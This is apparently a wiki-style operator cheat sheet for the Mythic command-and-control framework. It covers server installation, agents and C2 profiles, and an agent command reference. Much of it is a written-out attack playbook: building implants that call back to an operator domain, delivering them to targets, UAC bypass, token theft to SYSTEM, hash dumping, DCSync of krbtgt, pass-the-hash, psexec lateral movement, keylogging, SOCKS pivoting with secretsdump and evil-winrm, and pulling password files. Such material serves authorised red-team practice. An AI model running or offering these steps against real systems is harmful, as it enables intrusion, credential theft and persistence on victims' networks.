Mythic C2 Wiki

                 ┌───────────────────────────────────────────────────┐
                 │               Mythic Server (VPS/Lab)             │
                 │                                                   │
Operator ──HTTPS──► Nginx :7443                                      │
(React UI)       │      │                                            │
                 │      ▼                                            │
                 │  mythic_server :17443 (Go gRPC/REST)              │
                 │      │                                            │
                 │      ├──► mythic_graphql  (Hasura   :8080)        │
                 │      ├──► mythic_postgres (PostgreSQL :5432)      │
                 │      ├──► mythic_rabbitmq (AMQP     :5672)        │
                 │      ├──► mythic_jupyter  (Jupyter  :8888)        │
                 │      └──► mythic_documentation       (:8090)      │
                 │                                                   │
                 │  Agent Container (e.g. apollo, poseidon)          │
                 │  ─── RabbitMQ ──► mythic_server                   │
                 │                                                   │
                 │  C2 Profile Container (e.g. http)                 │
                 │  ─── opens listener port, relays to server        │
                 └───────────────────────────────────────────────────┘
                                       │
          Target network               │ C2 traffic (HTTP/HTTPS/SMB/TCP)
                                       ▼
                                Agent on victim host

# Install Docker on Ubuntu
sudo apt update && sudo apt install -y docker.io docker-compose-plugin

# Clone Mythic
git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic

# Build the mythic-cli binary (required — binary is NOT shipped with the repo)
sudo make

# Pre-generate a .env without starting containers yet
sudo ./mythic-cli status

# Start Mythic
sudo ./mythic-cli start

grep MYTHIC_ADMIN Mythic/.env
# MYTHIC_ADMIN_USER=mythic_admin
# MYTHIC_ADMIN_PASSWORD=<random>

# Agents
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa

# C2 Profiles
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket

# Update an existing install
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo -f

# List installed services
sudo ./mythic-cli services

# Health check
sudo ./mythic-cli status

sudo ./mythic-cli stop
sudo ./mythic-cli start
sudo ./mythic-cli restart

# Logs
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http

mythic-cli [command]

Core:
  start               Start all Mythic containers
  stop                Stop all containers
  restart             Stop then start
  status              Container states, ports, health
  health              Quick health check
  logs [name]         Tail logs from a specific container

Agent/Profile Management:
  install github <url> [branch] [-f]    Install agent or C2 profile from GitHub
  uninstall <name>                       Remove and delete from disk
  services                               List installed services
  build <name>                           Rebuild a single container
  update -s <name>                       Check for updates

Configuration:
  config get <key>
  config set <key> <value>

Database:
  database backup
  database restore

Misc:
  version
  test                    Test RabbitMQ service connectivity
  rabbitmq list-queues    Debug container connectivity

# Reset admin password if locked out
sudo ./mythic-cli database reset-admin-password <new_password>

# In .env:
DEFAULT_OPERATION_WEBHOOK_URL=https://hooks.slack.com/services/T.../B.../...
DEFAULT_OPERATION_WEBHOOK_CHANNEL=#red-team-alerts
WEBHOOK_DEFAULT_CALLBACK_CHANNEL=#callbacks
WEBHOOK_DEFAULT_ALERT_CHANNEL=#alerts

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

# Parameters baked into the agent at build time:
callback_host       https://your.domain.com
callback_port       443
callback_interval   10                         # seconds
callback_jitter     23                         # percentage
post_uri            /api/v1/auth
get_uri             /api/v1/token
query_param         Authorization
headers             {"User-Agent": "Mozilla/5.0 ..."}

Agent --HTTPS--> your.domain.com:443 (redirector)
      --proxy--> mythic_nginx:7443
      --proxy--> http C2 container
      --RabbitMQ--> mythic_server

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/tcp_redirect
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket

# Cross-agent commands (available in most Mythic agents):
shell <cmd>              # spawns shell — OPSEC risk, new process
run <binary> [args]      # execute binary directly, no shell
ls [path]
cd <path>
pwd
cat <file>
download <remote_path>
upload                   # opens file picker
ps
getpid
ifconfig
netstat
whoami
sleep <seconds> <jitter>
exit

# Token / privilege manipulation
make_token DOMAIN\user pass    # create logon token, no new process spawned
steal_token <pid>              # impersonate another process token
rev2self                       # drop back to original token
get_privs                      # enable all available privileges on current token
bypassuac                      # UAC bypass via token duplication

# Lateral movement
psexec
wmiexec
dcom <method>

# Kerberos
dcsync <user>@<domain>         # requires replication rights or DA
pth                            # pass-the-hash
klist
golden_ticket                  # requires krbtgt hash
asktgt <user> <password>
asktgs <spn>

# Process injection
inject <pid> <shellcode>
shinject <pid>
spawnto <binary>               # change default post-ex spawn binary

# In-process execution (no new process)
execute_coff <path> [args]     # execute BOF (COFF object file) in-process
execute_pe <path>              # run PE in memory, no disk write
execute_assembly <path>        # run .NET assembly in-process

# SOCKS5
socks start <port>
socks stop

# Persistence
reg write ...

Operator issues task
      │
      ▼
  [OPSEC Pre-check]   ──blocked──► Warn; require bypass to proceed
      │ (passes)
      ▼
  create_tasking() in agent container
      │
      ▼
  [OPSEC Post-check]  ──blocked──► Same flow
      │ (passes)
      ▼
  Task queued → status: "submitted"
      │
      ▼
  Agent checks in, picks up task → status: "processing"
      │
      ▼
  Agent sends response → status: "completed" / "error"

Mythic Server
      │  (HTTP/HTTPS egress)
      ▼
Agent A  (DMZ host — has internet)
      │  (SMB named pipe or TCP — internal)
      ▼
Agent B  (internal host — no internet)

[Mythic] ─HTTP─► [AgentA] ─SMB─► [AgentB] ─TCP─► [AgentC]

# Download from target to Mythic
download /etc/passwd
download C:\Users\admin\Documents\passwords.xlsx

# Upload: stage a file in Mythic first, then push to target
# Step 1: Files (folder icon) → Upload → select local file
# Step 2: In task bar, use agent's upload command → file picker popup appears
upload

# Apollo — auto-submits to the store
hashdump                               # dump local SAM hashes
dcsync Administrator@CORP.LOCAL        # DCSync; auto-submits NTLM hash
dcsync krbtgt@CORP.LOCAL               # for golden ticket construction

# Manual entry: top nav → Credentials (key icon) → New Credential
# Fields: account, realm, credential, type (hash/plaintext/certificate), comment

# Use stored credentials in tasks
pth                  # opens popup to select an NTLM hash from the store

# Keylogger (Apollo — runs in a dedicated thread, no new process)
keylog_inject <pid>      # inject into a running process
                         # keystrokes stream to Mythic in real time with window title + timestamps

# Screenshot
screenshot               # capture current desktop

# View: top nav → Keylog (keyboard icon) / Screenshots (camera icon)

opsec_pre    Before create_tasking — can block or warn
opsec_post   After create_tasking, before task reaches agent — same logic

# Blanket command blocks per operation (no per-command granularity here):
# Operations → [your op] → Blocked Commands → add a command name to block it globally

pip3 install mythic

import asyncio
from mythic import mythic_rest

async def main():
    m = await mythic_rest.login(
        username="mythic_admin", password="your_password",
        server_ip="127.0.0.1", server_port=7443, ssl=True
    )

    # List active callbacks
    callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
    for c in callbacks:
        print(c.host, c.user, c.pid)

    # Issue a task
    task = await mythic_rest.issue_task(
        mythic=m, command="shell",
        parameters="whoami", callback_display_id=1
    )

    # Wait for completion and get output
    resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
    print(resp)

asyncio.run(main())

# SSH tunnel (bound to localhost by default)
ssh -L 8888:127.0.0.1:8888 user@mythic-server
# Browse: http://127.0.0.1:8888/?token=mythic

# SSH tunnel
ssh -L 8080:127.0.0.1:8080 user@mythic-server
# Browse: http://127.0.0.1:8080 — admin secret = HASURA_SECRET from .env

# Example: list all active callbacks
# query {
#   callback(where: {active: {_eq: true}}) {
#     host user ip pid last_checkin integrity_level
#     payload { payloadtype { name } }
#   }
# }

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/basic_logger

callback_new          New callback registered
task_new              New task issued
task_completed        Task finished
task_mitre_attack     Task tagged with ATT&CK technique
response_new          Raw agent response
file_upload           File staged for delivery
file_download         File pulled from agent
file_screenshot       Screenshot received
artifact_new          IOC registered (process, reg key, service, etc.)
credential_new        Credential added
keylog_new            Keystroke received
payload_new           Payload built
eventlog_new          Event log entry created

sudo ./mythic-cli build basic_logger

# 1. Install HTTP profile and start Mythic
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli start

# 2. Build payload in UI:
#    Payload → New Payload
#    OS: Windows | Agent: Apollo | C2: http
#    callback_host: https://your.domain.com | port: 443
#    interval: 60 | jitter: 30 | Output: exe

# 3. Deliver and execute on target

# 4. Callback appears in Callbacks table → click to open interactive session

# 5. Basic triage
shell whoami /all
shell hostname
ifconfig
ps
netstat -ano

# Check integrity level (shown in callback metadata)
get_privs

# UAC bypass from Medium → High integrity
bypassuac

# Token impersonation for SYSTEM
ps
steal_token <pid_of_SYSTEM_process>

# Verify
whoami    # NT AUTHORITY\SYSTEM

# Dump local hashes (requires High/System integrity)
hashdump

# DCSync (requires DA or replication rights)
dcsync Administrator@CORP.LOCAL
dcsync krbtgt@CORP.LOCAL        # golden ticket material

# Credentials auto-appear in the Credentials store (key icon)

# Pass-the-Hash lateral movement
pth    # opens popup to select NTLM hash from the store

# Or deploy via psexec from current callback
psexec \\target.corp.local

# New callback appears → link it if deployed with SMB profile
link

# Start SOCKS5 on a callback
socks start 1080

# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

# Route tools through the callback
proxychains nmap -sT -Pn -p 22,80,139,443,445,1433,3389,5985 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 --shares
proxychains impacket-secretsdump CORP/admin@192.168.1.10 -hashes :NTLMhash
proxychains evil-winrm -i 192.168.1.10 -u administrator -H NTLMhash

socks stop    # when done

# 1. Build a new payload for the internal host:
#    Add both HTTP and SMB profiles OR SMB only (pure P2P implant)
#    Set a non-default named pipe name

# 2. Deploy via psexec / wmiexec from current callback
psexec \\internal-host.corp.local [options]

# 3. SMB-only implant opens the named pipe and waits for a link

# 4. From current callback, run:
link    # Host: internal-host.corp.local | Payload: <smb payload> | C2: smb

# 5. Callback appears with chain shown in Graph View:
#    [Mythic] -HTTP-> [DMZ Agent] -SMB-> [Internal Agent]

# 6. Task the internal agent normally — routing is transparent
shell whoami
ls C:\Users\

sudo ./mythic-cli start
sudo ./mythic-cli stop
sudo ./mythic-cli restart
sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<profile>
sudo ./mythic-cli uninstall <name>
sudo ./mythic-cli services

Payload (gift icon) → New Payload
  → Select OS
  → Select Agent
  → Select C2 Profile(s) — fill callback_host, port, interval, jitter, URIs
  → Select Commands
  → Build → Download

shell whoami /all
shell hostname
ps
ifconfig
netstat -ano
ls / cd / pwd / cat

download <path>
upload

sleep 60 30             # 60s interval, 30% jitter

make_token DOMAIN\user pass
steal_token <pid>
rev2self
get_privs
bypassuac

execute_coff <path> [args]    # BOF — no new process
inject <pid> <shellcode>
execute_pe <path>

hashdump
dcsync <user>@<domain>

socks start 1080
socks stop

link
unlink <link_id>

exit

socks start 1080

# /etc/proxychains4.conf
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn -p 445 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains impacket-psexec DOMAIN/user:pass@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u user -H hash

import asyncio
from mythic import mythic_rest

async def main():
    m = await mythic_rest.login(
        username="mythic_admin", password="pass",
        server_ip="127.0.0.1", server_port=7443, ssl=True
    )
    callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
    task = await mythic_rest.issue_task(
        mythic=m, command="shell",
        parameters="whoami", callback_display_id=1
    )
    resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
    print(resp)

asyncio.run(main())